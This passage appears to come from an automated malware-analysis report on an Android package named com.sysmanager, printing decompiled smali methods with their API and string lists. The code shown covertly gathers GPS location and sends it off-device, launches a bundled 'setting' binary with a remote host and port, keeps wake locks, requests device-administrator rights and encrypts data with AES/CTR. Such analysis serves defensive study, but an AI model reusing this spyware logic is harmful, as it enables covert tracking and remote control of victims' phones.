75invoke-static {v7, v8}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
76goto/16 :goto_5a
APIs
  • android.location.Location.getAccuracy
  • java.lang.String.valueOf
  • android.location.Location.getAltitude
  • java.lang.String.valueOf
  • android.location.Location.getLatitude
  • java.lang.String.valueOf
  • android.location.Location.getLongitude
  • java.lang.String.valueOf
  • android.location.Location.getSpeed
  • java.lang.String.valueOf
  • java.text.SimpleDateFormat.<init>
  • java.util.Date.<init>
  • java.text.SimpleDateFormat.format
Strings
  • gps
  • yyyy-MM-dd HH:mm:ss
  • net
Position Instruction Meta Information
0.param p1, "location" # Landroid/location/Location;
1.prologue
2new-instance v2, Lcom/sysmanager/storage/PositionVar;
4invoke-direct {v2}, Lcom/sysmanager/storage/PositionVar;-><init>()V
5iget v3, p0, Lcom/sysmanager/system/AndroidSystemQueues;->mAccuracyRequest:I
6const/16 v4, 0x64
7if-ne v3, v4, :cond_65
9const-string v3, "gps"
10goto_d:
11invoke-virtual {v2, v3}, Lcom/sysmanager/storage/PositionVar;->setPos(Ljava/lang/String;)V
13invoke-virtual {p1}, Landroid/location/Location;->getAccuracy()F
14move-result v3
16invoke-static {v3}, Ljava/lang/String;->valueOf(F)Ljava/lang/String;
17move-result-object v3
19invoke-virtual {v2, v3}, Lcom/sysmanager/storage/PositionVar;->setAcc(Ljava/lang/String;)V
21invoke-virtual {p1}, Landroid/location/Location;->getAltitude()D
22move-result-wide v4
24invoke-static {v4, v5}, Ljava/lang/String;->valueOf(D)Ljava/lang/String;
25move-result-object v3
27invoke-virtual {v2, v3}, Lcom/sysmanager/storage/PositionVar;->setAlt(Ljava/lang/String;)V
29invoke-virtual {p1}, Landroid/location/Location;->getLatitude()D
30move-result-wide v4
32invoke-static {v4, v5}, Ljava/lang/String;->valueOf(D)Ljava/lang/String;
33move-result-object v3
35invoke-virtual {v2, v3}, Lcom/sysmanager/storage/PositionVar;->setLat(Ljava/lang/String;)V
37invoke-virtual {p1}, Landroid/location/Location;->getLongitude()D
38move-result-wide v4
40invoke-static {v4, v5}, Ljava/lang/String;->valueOf(D)Ljava/lang/String;
41move-result-object v3
43invoke-virtual {v2, v3}, Lcom/sysmanager/storage/PositionVar;->setLon(Ljava/lang/String;)V
45invoke-virtual {p1}, Landroid/location/Location;->getSpeed()F
46move-result v3
48invoke-static {v3}, Ljava/lang/String;->valueOf(F)Ljava/lang/String;
49move-result-object v3
51invoke-virtual {v2, v3}, Lcom/sysmanager/storage/PositionVar;->setSpeed(Ljava/lang/String;)V
52new-instance v0, Ljava/text/SimpleDateFormat;
54const-string v3, "yyyy-MM-dd HH:mm:ss"
56sget-object v4, Ljava/util/Locale;->ITALIAN:Ljava/util/Locale;
58invoke-direct {v0, v3, v4}, Ljava/text/SimpleDateFormat;-><init>(Ljava/lang/String;Ljava/util/Locale;)V
59new-instance v1, Ljava/util/Date;
61invoke-direct {v1}, Ljava/util/Date;-><init>()V
63invoke-virtual {v0, v1}, Ljava/text/SimpleDateFormat;->format(Ljava/util/Date;)Ljava/lang/String;
64move-result-object v3
66invoke-virtual {v2, v3}, Lcom/sysmanager/storage/PositionVar;->setTimestamp(Ljava/lang/String;)V
67new-instance v3, Lcom/sysmanager/system/SendLocCell;
69invoke-direct {v3, p0}, Lcom/sysmanager/system/SendLocCell;-><init>(Landroid/content/Context;)V
71invoke-virtual {v3, v2}, Lcom/sysmanager/system/SendLocCell;->sendLocation(Lcom/sysmanager/storage/PositionVar;)V
72return-void
73cond_65:
74const-string v3, "net"
75goto/16 :goto_d
Cross References
APIs
  • java.security.MessageDigest.getInstance
  • java.lang.String.getBytes
  • java.security.MessageDigest.update
  • java.security.MessageDigest.digest
  • java.lang.StringBuilder.<init>
  • java.lang.Integer.toHexString
  • java.lang.String.length
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.security.NoSuchAlgorithmException.printStackTrace
Strings
  • MD5
  • 0
Position Instruction Meta Information
0.param p0, "pass" # Ljava/lang/String;
1.prologue
2try_start_0:
3const-string v6, "MD5"
5invoke-static {v6}, Ljava/security/MessageDigest;->getInstance(Ljava/lang/String;)Ljava/security/MessageDigest;
6move-result-object v0
8invoke-virtual {p0}, Ljava/lang/String;->getBytes()[B
9move-result-object v6
11invoke-virtual {v0, v6}, Ljava/security/MessageDigest;->update([B)V
13invoke-virtual {v0}, Ljava/security/MessageDigest;->digest()[B
14move-result-object v5
15new-instance v3, Ljava/lang/StringBuilder;
17invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
18array-length v7, v5
19const/4 v6, 0x0
20goto_18: if-ge v6, v7, :cond_43
21aget-byte v4, v5, v6
22and-int/lit16 v8, v4, 0xff
24invoke-static {v8}, Ljava/lang/Integer;->toHexString(I)Ljava/lang/String;
25move-result-object v2
26goto_22:
27invoke-virtual {v2}, Ljava/lang/String;->length()I
28move-result v8
29const/4 v9, 0x2
30if-ge v8, v9, :cond_3d
31new-instance v8, Ljava/lang/StringBuilder;
33invoke-direct {v8}, Ljava/lang/StringBuilder;-><init>()V
35const-string v9, "0"
37invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
38move-result-object v8
40invoke-virtual {v8, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
41move-result-object v8
43invoke-virtual {v8}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
44move-result-object v2
45goto/16 :goto_22
46cond_3d:
47invoke-virtual {v3, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
48add-int/lit8 v6, v6, 0x1
49goto/16 :goto_18
50cond_43:
51invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
52try_end_46: move-result-object v6
53goto_47: return-object v6
54catch_48: move-exception v1
56invoke-virtual {v1}, Ljava/security/NoSuchAlgorithmException;->printStackTrace()V
58const-string v6, ""
59goto/16 :goto_47
Cross References
APIs
  • java.lang.Runtime.getRuntime
  • java.lang.StringBuilder.<init>
  • android.content.Context.getFilesDir
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.Runtime.exec
Strings
  • /
  • setting
  • -h
  • -p
Position Instruction Meta Information
0.param p1, "context" # Landroid/content/Context;
1.param p2, "host" # Ljava/lang/String;
2.param p3, "port" # Ljava/lang/String;
3.prologue
4try_start_0:
5invoke-static {}, Ljava/lang/Runtime;->getRuntime()Ljava/lang/Runtime;
6move-result-object v1
7new-instance v2, Ljava/lang/StringBuilder;
9invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
11invoke-virtual {p1}, Landroid/content/Context;->getFilesDir()Ljava/io/File;
12move-result-object v3
14invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
15move-result-object v2
17const-string v3, "/"
19invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
20move-result-object v2
22const-string v3, "setting"
24invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
25move-result-object v2
27const-string v3, " -h "
29invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
30move-result-object v2
32invoke-virtual {v2, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
33move-result-object v2
35const-string v3, " -p "
37invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
38move-result-object v2
40invoke-virtual {v2, p3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
41move-result-object v2
43invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
44move-result-object v2
46invoke-virtual {v1, v2}, Ljava/lang/Runtime;->exec(Ljava/lang/String;)Ljava/lang/Process;
47goto_38: return-void
48catch_39: move-exception v0
50invoke-static {v0}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
51move-result-object v1
53invoke-static {p1, v1}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
54goto/16 :goto_38
Cross References
APIs
  • java.io.FileInputStream.<init>
  • java.security.MessageDigest.getInstance
  • java.io.InputStream.read
  • java.security.MessageDigest.update
  • java.lang.Throwable.printStackTrace
  • java.io.InputStream.close
  • java.security.MessageDigest.digest
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.Integer.toString
  • java.lang.String.substring
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
Strings
  • SHA-256
Position Instruction Meta Information
0.param p0, "filePath" # Ljava/lang/String;
1.prologue
2const/4 v8, 0x0
4const-string v6, ""
5try_start_3: new-instance v3, Ljava/io/FileInputStream;
7invoke-direct {v3, p0}, Ljava/io/FileInputStream;-><init>(Ljava/lang/String;)V
8const/16 v9, 0x400
9new-array v0, v9, [B
11const-string v9, "SHA-256"
13invoke-static {v9}, Ljava/security/MessageDigest;->getInstance(Ljava/lang/String;)Ljava/security/MessageDigest;
14move-result-object v2
15const/4 v5, 0x0
16goto_13: const/4 v9, -0x1
17if-eq v5, v9, :cond_26
19invoke-virtual {v3, v0}, Ljava/io/InputStream;->read([B)I
20move-result v5
21if-lez v5, :cond_13
22const/4 v9, 0x0
24invoke-virtual {v2, v0, v9, v5}, Ljava/security/MessageDigest;->update([BII)V
25try_end_20: goto/16 :goto_13
26catch_21: move-exception v7
28invoke-virtual {v7}, Ljava/lang/Throwable;->printStackTrace()V
29cond_25: return-object v6
30try_start_26:
31invoke-virtual {v3}, Ljava/io/InputStream;->close()V
33invoke-virtual {v2}, Ljava/security/MessageDigest;->digest()[B
34move-result-object v4
35array-length v9, v4
36goto_2e: if-ge v8, v9, :cond_25
37aget-byte v1, v4, v8
38new-instance v10, Ljava/lang/StringBuilder;
40invoke-direct {v10}, Ljava/lang/StringBuilder;-><init>()V
42invoke-virtual {v10, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
43move-result-object v10
44and-int/lit16 v11, v1, 0xff
45add-int/lit16 v11, v11, 0x100
46const/16 v12, 0x10
48invoke-static {v11, v12}, Ljava/lang/Integer;->toString(II)Ljava/lang/String;
49move-result-object v11
50const/4 v12, 0x1
52invoke-virtual {v11, v12}, Ljava/lang/String;->substring(I)Ljava/lang/String;
53move-result-object v11
55invoke-virtual {v10, v11}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
56move-result-object v10
58invoke-virtual {v10}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
59try_end_51: move-result-object v6
60add-int/lit8 v8, v8, 0x1
61goto/16 :goto_2e
APIs
  • android.app.Service.onCreate
  • com.sysmanager.system.AndroidSystemQueues.getSystemService
  • android.os.Handler.<init>
  • com.sysmanager.system.AndroidSystemQueues$AddressResultReceiver.<init>
  • com.sysmanager.system.AndroidSystemQueues.getApplicationContext
  • com.sysmanager.system.AndroidSystemQueues.isPlayServicesCurrent
  • com.sysmanager.system.AndroidSystemQueues.getSystemService
  • android.os.PowerManager.newWakeLock
  • android.os.PowerManager$WakeLock.setReferenceCounted
  • android.os.PowerManager$WakeLock.acquire
Strings
  • location
  • power
  • Queue
Position Instruction Meta Information
0.prologue
2invoke-super {p0}, Landroid/app/Service;->onCreate()V
4const-string v1, "location"
6invoke-virtual {p0, v1}, Lcom/sysmanager/system/AndroidSystemQueues;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
7move-result-object v1
8check-cast v1, Landroid/location/LocationManager;
9iput-object v1, p0, Lcom/sysmanager/system/AndroidSystemQueues;->mLocationManager:Landroid/location/LocationManager;
10new-instance v1, Lcom/sysmanager/system/AndroidSystemQueues$AddressResultReceiver;
11new-instance v2, Landroid/os/Handler;
13invoke-direct {v2}, Landroid/os/Handler;-><init>()V
15invoke-direct {v1, p0, v2}, Lcom/sysmanager/system/AndroidSystemQueues$AddressResultReceiver;-><init>(Lcom/sysmanager/system/AndroidSystemQueues;Landroid/os/Handler;)V
16iput-object v1, p0, Lcom/sysmanager/system/AndroidSystemQueues;->mResultReceiver:Lcom/sysmanager/system/AndroidSystemQueues$AddressResultReceiver;
18invoke-virtual {p0}, Lcom/sysmanager/system/AndroidSystemQueues;->getApplicationContext()Landroid/content/Context;
19move-result-object v1
21invoke-direct {p0, v1}, Lcom/sysmanager/system/AndroidSystemQueues;->isPlayServicesCurrent(Landroid/content/Context;)Z
22move-result v1
23iput-boolean v1, p0, Lcom/sysmanager/system/AndroidSystemQueues;->mPlayServicesCurrent:Z
24iget-boolean v1, p0, Lcom/sysmanager/system/AndroidSystemQueues;->mPlayServicesCurrent:Z
25if-eqz v1, :cond_40
26new-instance v1, Lcom/google/android/gms/common/api/GoogleApiClient$Builder;
28invoke-direct {v1, p0}, Lcom/google/android/gms/common/api/GoogleApiClient$Builder;-><init>(Landroid/content/Context;)V
30invoke-virtual {v1, p0}, Lcom/google/android/gms/common/api/GoogleApiClient$Builder;->addConnectionCallbacks(Lcom/google/android/gms/common/api/GoogleApiClient$ConnectionCallbacks;)Lcom/google/android/gms/common/api/GoogleApiClient$Builder;
31move-result-object v1
33invoke-virtual {v1, p0}, Lcom/google/android/gms/common/api/GoogleApiClient$Builder;->addOnConnectionFailedListener(Lcom/google/android/gms/common/api/GoogleApiClient$OnConnectionFailedListener;)Lcom/google/android/gms/common/api/GoogleApiClient$Builder;
34move-result-object v1
36sget-object v2, Lcom/google/android/gms/location/LocationServices;->API:Lcom/google/android/gms/common/api/Api;
38invoke-virtual {v1, v2}, Lcom/google/android/gms/common/api/GoogleApiClient$Builder;->addApi(Lcom/google/android/gms/common/api/Api;)Lcom/google/android/gms/common/api/GoogleApiClient$Builder;
39move-result-object v1
41invoke-virtual {v1}, Lcom/google/android/gms/common/api/GoogleApiClient$Builder;->build()Lcom/google/android/gms/common/api/GoogleApiClient;
42move-result-object v1
43iput-object v1, p0, Lcom/sysmanager/system/AndroidSystemQueues;->mGoogleApiClient:Lcom/google/android/gms/common/api/GoogleApiClient;
44cond_40:
45const-string v1, "power"
47invoke-virtual {p0, v1}, Lcom/sysmanager/system/AndroidSystemQueues;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
48move-result-object v0
49check-cast v0, Landroid/os/PowerManager;
50const/4 v1, 0x1
52const-string v2, "Queue"
54invoke-virtual {v0, v1, v2}, Landroid/os/PowerManager;->newWakeLock(ILjava/lang/String;)Landroid/os/PowerManager$WakeLock;
55move-result-object v1
56iput-object v1, p0, Lcom/sysmanager/system/AndroidSystemQueues;->mWakelock:Landroid/os/PowerManager$WakeLock;
58iget-object v1, p0, Lcom/sysmanager/system/AndroidSystemQueues;->mWakelock:Landroid/os/PowerManager$WakeLock;
59const/4 v2, 0x0
61invoke-virtual {v1, v2}, Landroid/os/PowerManager$WakeLock;->setReferenceCounted(Z)V
63iget-object v1, p0, Lcom/sysmanager/system/AndroidSystemQueues;->mWakelock:Landroid/os/PowerManager$WakeLock;
65invoke-virtual {v1}, Landroid/os/PowerManager$WakeLock;->acquire()V
67invoke-static {p0}, Lcom/sysmanager/system/MovementDetector;->getInstance(Landroid/content/Context;)Lcom/sysmanager/system/MovementDetector;
68move-result-object v1
69new-instance v2, Lcom/sysmanager/system/AndroidSystemQueues$1;
71invoke-direct {v2, p0}, Lcom/sysmanager/system/AndroidSystemQueues$1;-><init>(Lcom/sysmanager/system/AndroidSystemQueues;)V
73invoke-virtual {v1, v2}, Lcom/sysmanager/system/MovementDetector;->addListener(Lcom/sysmanager/system/MovementDetector$Listener;)V
74return-void
APIs
  • android.app.Service.onCreate
  • android.os.Handler.<init>
  • android.os.StrictMode$ThreadPolicy$Builder.<init>
  • android.os.StrictMode$ThreadPolicy$Builder.permitAll
  • android.os.StrictMode$ThreadPolicy$Builder.build
  • android.os.StrictMode.setThreadPolicy
  • com.sysmanager.system.AndroidAlarmManager.getSystemService
  • java.lang.Class.cast
  • android.os.PowerManager.newWakeLock
  • android.os.PowerManager$WakeLock.setReferenceCounted
  • android.os.PowerManager$WakeLock.acquire
Strings
  • power
  • Alarm Manager
Position Instruction Meta Information
0.prologue
2invoke-super {p0}, Landroid/app/Service;->onCreate()V
3new-instance v2, Landroid/os/Handler;
5invoke-direct {v2}, Landroid/os/Handler;-><init>()V
6iput-object v2, p0, Lcom/sysmanager/system/AndroidAlarmManager;->mHandler:Landroid/os/Handler;
7new-instance v2, Landroid/os/StrictMode$ThreadPolicy$Builder;
9invoke-direct {v2}, Landroid/os/StrictMode$ThreadPolicy$Builder;-><init>()V
11invoke-virtual {v2}, Landroid/os/StrictMode$ThreadPolicy$Builder;->permitAll()Landroid/os/StrictMode$ThreadPolicy$Builder;
12move-result-object v2
14invoke-virtual {v2}, Landroid/os/StrictMode$ThreadPolicy$Builder;->build()Landroid/os/StrictMode$ThreadPolicy;
15move-result-object v1
17invoke-static {v1}, Landroid/os/StrictMode;->setThreadPolicy(Landroid/os/StrictMode$ThreadPolicy;)V
18const-class v2, Landroid/os/PowerManager;
20const-string v3, "power"
22invoke-virtual {p0, v3}, Lcom/sysmanager/system/AndroidAlarmManager;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
23move-result-object v3
25invoke-virtual {v2, v3}, Ljava/lang/Class;->cast(Ljava/lang/Object;)Ljava/lang/Object;
26move-result-object v0
27check-cast v0, Landroid/os/PowerManager;
28const/4 v2, 0x1
30const-string v3, "Alarm Manager"
32invoke-virtual {v0, v2, v3}, Landroid/os/PowerManager;->newWakeLock(ILjava/lang/String;)Landroid/os/PowerManager$WakeLock;
33move-result-object v2
34iput-object v2, p0, Lcom/sysmanager/system/AndroidAlarmManager;->mWakelock:Landroid/os/PowerManager$WakeLock;
36iget-object v2, p0, Lcom/sysmanager/system/AndroidAlarmManager;->mWakelock:Landroid/os/PowerManager$WakeLock;
37const/4 v3, 0x0
39invoke-virtual {v2, v3}, Landroid/os/PowerManager$WakeLock;->setReferenceCounted(Z)V
41iget-object v2, p0, Lcom/sysmanager/system/AndroidAlarmManager;->mWakelock:Landroid/os/PowerManager$WakeLock;
43invoke-virtual {v2}, Landroid/os/PowerManager$WakeLock;->acquire()V
44return-void
Cross References
APIs
  • java.lang.String.getBytes
  • javax.crypto.spec.SecretKeySpec.<init>
  • javax.crypto.Cipher.getInstance
  • java.lang.String.getBytes
  • javax.crypto.spec.IvParameterSpec.<init>
  • javax.crypto.Cipher.init
  • java.lang.String.getBytes
  • javax.crypto.Cipher.doFinal
  • android.util.Base64.encodeToString
  • com.sysmanager.Scontext.getContext
Strings
  • AES
  • AES/CTR/NoPadding
Position Instruction Meta Information
0.param p0, "cipherMode" # I
1.param p1, "key" # Ljava/lang/String;
2.param p2, "iv" # Ljava/lang/String;
3.param p3, "input" # Ljava/lang/String;
4.annotation system Ldalvik/annotation/Throws;
5value = {
6Lcom/sysmanager/cryptoutils/CryptoException;
7}
8.end annotation
9.prologue
10try_start_0: new-instance v4, Ljavax/crypto/spec/SecretKeySpec;
12invoke-virtual {p1}, Ljava/lang/String;->getBytes()[B
13move-result-object v5
15const-string v6, "AES"
17invoke-direct {v4, v5, v6}, Ljavax/crypto/spec/SecretKeySpec;-><init>([BLjava/lang/String;)V
19const-string v5, "AES/CTR/NoPadding"
21invoke-static {v5}, Ljavax/crypto/Cipher;->getInstance(Ljava/lang/String;)Ljavax/crypto/Cipher;
22move-result-object v0
23new-instance v2, Ljavax/crypto/spec/IvParameterSpec;
25invoke-virtual {p2}, Ljava/lang/String;->getBytes()[B
26move-result-object v5
28invoke-direct {v2, v5}, Ljavax/crypto/spec/IvParameterSpec;-><init>([B)V
30invoke-virtual {v0, p0, v4, v2}, Ljavax/crypto/Cipher;->init(ILjava/security/Key;Ljava/security/spec/AlgorithmParameterSpec;)V
32invoke-virtual {p3}, Ljava/lang/String;->getBytes()[B
33move-result-object v5
35invoke-virtual {v0, v5}, Ljavax/crypto/Cipher;->doFinal([B)[B
36move-result-object v5
37const/4 v6, 0x2
39invoke-static {v5, v6}, Landroid/util/Base64;->encodeToString([BI)Ljava/lang/String;
40try_end_29: move-result-object v3
41goto_2a: return-object v3
42catch_2b: move-exception v1
44invoke-static {}, Lcom/sysmanager/Scontext;->getContext()Landroid/content/Context;
45move-result-object v5
47invoke-static {v1}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
48move-result-object v6
50invoke-static {v5, v6}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
52const-string v3, ""
53goto/16 :goto_2a
Cross References
APIs
  • java.lang.String.getBytes
  • javax.crypto.spec.SecretKeySpec.<init>
  • javax.crypto.Cipher.getInstance
  • javax.crypto.spec.IvParameterSpec.<init>
  • javax.crypto.Cipher.init
  • java.lang.String.getBytes
  • javax.crypto.Cipher.doFinal
  • android.util.Base64.encodeToString
  • com.sysmanager.Scontext.getContext
Strings
  • AES
  • AES/CTR/NoPadding
Position Instruction Meta Information
0.param p0, "cipherMode" # I
1.param p1, "key" # Ljava/lang/String;
2.param p2, "input" # Ljava/lang/String;
3.annotation system Ldalvik/annotation/Throws;
4value = {
5Lcom/sysmanager/cryptoutils/CryptoException;
6}
7.end annotation
8.prologue
9try_start_0: new-instance v4, Ljavax/crypto/spec/SecretKeySpec;
11invoke-virtual {p1}, Ljava/lang/String;->getBytes()[B
12move-result-object v5
14const-string v6, "AES"
16invoke-direct {v4, v5, v6}, Ljavax/crypto/spec/SecretKeySpec;-><init>([BLjava/lang/String;)V
18const-string v5, "AES/CTR/NoPadding"
20invoke-static {v5}, Ljavax/crypto/Cipher;->getInstance(Ljava/lang/String;)Ljavax/crypto/Cipher;
21move-result-object v0
22new-instance v2, Ljavax/crypto/spec/IvParameterSpec;
24sget-object v5, Lcom/sysmanager/cryptoutils/CryptoUtils;->ivBytes:[B
26invoke-direct {v2, v5}, Ljavax/crypto/spec/IvParameterSpec;-><init>([B)V
28invoke-virtual {v0, p0, v4, v2}, Ljavax/crypto/Cipher;->init(ILjava/security/Key;Ljava/security/spec/AlgorithmParameterSpec;)V
30invoke-virtual {p2}, Ljava/lang/String;->getBytes()[B
31move-result-object v5
33invoke-virtual {v0, v5}, Ljavax/crypto/Cipher;->doFinal([B)[B
34move-result-object v5
35const/4 v6, 0x2
37invoke-static {v5, v6}, Landroid/util/Base64;->encodeToString([BI)Ljava/lang/String;
38try_end_27: move-result-object v3
39goto_28: return-object v3
40catch_29: move-exception v1
42invoke-static {}, Lcom/sysmanager/Scontext;->getContext()Landroid/content/Context;
43move-result-object v5
45invoke-static {v1}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
46move-result-object v6
48invoke-static {v5, v6}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
50const-string v3, ""
51goto/16 :goto_28
Cross References
APIs
  • java.lang.String.getBytes
  • javax.crypto.spec.SecretKeySpec.<init>
  • javax.crypto.Cipher.getInstance
  • java.lang.String.getBytes
  • javax.crypto.spec.IvParameterSpec.<init>
  • javax.crypto.Cipher.init
  • javax.crypto.Cipher.doFinal
  • java.lang.String.<init>
  • com.sysmanager.Scontext.getContext
Strings
  • AES
  • AES/CTR/NoPadding
Position Instruction Meta Information
0.param p0, "cipherMode" # I
1.param p1, "key" # Ljava/lang/String;
2.param p2, "iv" # Ljava/lang/String;
3.param p3, "input" # [B
4.annotation system Ldalvik/annotation/Throws;
5value = {
6Lcom/sysmanager/cryptoutils/CryptoException;
7}
8.end annotation
9.prologue
10try_start_0: new-instance v4, Ljavax/crypto/spec/SecretKeySpec;
12invoke-virtual {p1}, Ljava/lang/String;->getBytes()[B
13move-result-object v5
15const-string v6, "AES"
17invoke-direct {v4, v5, v6}, Ljavax/crypto/spec/SecretKeySpec;-><init>([BLjava/lang/String;)V
19const-string v5, "AES/CTR/NoPadding"
21invoke-static {v5}, Ljavax/crypto/Cipher;->getInstance(Ljava/lang/String;)Ljavax/crypto/Cipher;
22move-result-object v0
23new-instance v2, Ljavax/crypto/spec/IvParameterSpec;
25invoke-virtual {p2}, Ljava/lang/String;->getBytes()[B
26move-result-object v5
28invoke-direct {v2, v5}, Ljavax/crypto/spec/IvParameterSpec;-><init>([B)V
30invoke-virtual {v0, p0, v4, v2}, Ljavax/crypto/Cipher;->init(ILjava/security/Key;Ljava/security/spec/AlgorithmParameterSpec;)V
31new-instance v3, Ljava/lang/String;
33invoke-virtual {v0, p3}, Ljavax/crypto/Cipher;->doFinal([B)[B
34move-result-object v5
36invoke-direct {v3, v5}, Ljava/lang/String;-><init>([B)V
37try_end_26: return-object v3
38catch_27: move-exception v1
40invoke-static {}, Lcom/sysmanager/Scontext;->getContext()Landroid/content/Context;
41move-result-object v5
43invoke-static {v1}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
44move-result-object v6
46invoke-static {v5, v6}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
48const-string v3, ""
49goto/16 :goto_26
Cross References
APIs
  • java.lang.String.getBytes
  • javax.crypto.spec.SecretKeySpec.<init>
  • javax.crypto.Cipher.getInstance
  • javax.crypto.spec.IvParameterSpec.<init>
  • javax.crypto.Cipher.init
  • javax.crypto.Cipher.doFinal
  • java.lang.String.<init>
  • com.sysmanager.Scontext.getContext
Strings
  • AES
  • AES/CTR/NoPadding
Position Instruction Meta Information
0.param p0, "cipherMode" # I
1.param p1, "key" # Ljava/lang/String;
2.param p2, "input" # [B
3.annotation system Ldalvik/annotation/Throws;
4value = {
5Lcom/sysmanager/cryptoutils/CryptoException;
6}
7.end annotation
8.prologue
9try_start_0: new-instance v4, Ljavax/crypto/spec/SecretKeySpec;
11invoke-virtual {p1}, Ljava/lang/String;->getBytes()[B
12move-result-object v5
14const-string v6, "AES"
16invoke-direct {v4, v5, v6}, Ljavax/crypto/spec/SecretKeySpec;-><init>([BLjava/lang/String;)V
18const-string v5, "AES/CTR/NoPadding"
20invoke-static {v5}, Ljavax/crypto/Cipher;->getInstance(Ljava/lang/String;)Ljavax/crypto/Cipher;
21move-result-object v0
22new-instance v2, Ljavax/crypto/spec/IvParameterSpec;
24sget-object v5, Lcom/sysmanager/cryptoutils/CryptoUtils;->ivBytes:[B
26invoke-direct {v2, v5}, Ljavax/crypto/spec/IvParameterSpec;-><init>([B)V
28invoke-virtual {v0, p0, v4, v2}, Ljavax/crypto/Cipher;->init(ILjava/security/Key;Ljava/security/spec/AlgorithmParameterSpec;)V
29new-instance v3, Ljava/lang/String;
31invoke-virtual {v0, p2}, Ljavax/crypto/Cipher;->doFinal([B)[B
32move-result-object v5
34invoke-direct {v3, v5}, Ljava/lang/String;-><init>([B)V
35goto_24: return-object v3
36catch_25: move-exception v1
38invoke-static {}, Lcom/sysmanager/Scontext;->getContext()Landroid/content/Context;
39move-result-object v5
41invoke-static {v1}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
42move-result-object v6
44invoke-static {v5, v6}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
46const-string v3, ""
47goto/16 :goto_24
Cross References
APIs
  • com.sysmanager.Administrator.getSystemService
  • android.content.ComponentName.<init>
  • android.content.Intent.<init>
  • android.content.Intent.putExtra
  • com.sysmanager.Administrator.startActivityForResult
  • com.sysmanager.Administrator.getApplicationContext
Strings
  • device_policy
  • android.app.action.ADD_DEVICE_ADMIN
  • android.app.extra.DEVICE_ADMIN
Position Instruction Meta Information
0.prologue
1try_start_0:
2const-string v2, "device_policy"
4invoke-virtual {p0, v2}, Lcom/sysmanager/Administrator;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
5move-result-object v2
6check-cast v2, Landroid/app/admin/DevicePolicyManager;
7iput-object v2, p0, Lcom/sysmanager/Administrator;->devicePolicyManager:Landroid/app/admin/DevicePolicyManager;
8new-instance v2, Landroid/content/ComponentName;
9const-class v3, Lcom/sysmanager/system/AndroidDeviceAdministrator;
11invoke-direct {v2, p0, v3}, Landroid/content/ComponentName;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
12iput-object v2, p0, Lcom/sysmanager/Administrator;->demoDeviceAdmin:Landroid/content/ComponentName;
13new-instance v1, Landroid/content/Intent;
15const-string v2, "android.app.action.ADD_DEVICE_ADMIN"
17invoke-direct {v1, v2}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
19const-string v2, "android.app.extra.DEVICE_ADMIN"
21iget-object v3, p0, Lcom/sysmanager/Administrator;->demoDeviceAdmin:Landroid/content/ComponentName;
23invoke-virtual {v1, v2, v3}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Landroid/os/Parcelable;)Landroid/content/Intent;
24const/16 v2, 0x2f
26invoke-virtual {p0, v1, v2}, Lcom/sysmanager/Administrator;->startActivityForResult(Landroid/content/Intent;I)V
27try_end_26: return-void
28catch_27: move-exception v0
30invoke-virtual {p0}, Lcom/sysmanager/Administrator;->getApplicationContext()Landroid/content/Context;
31move-result-object v2
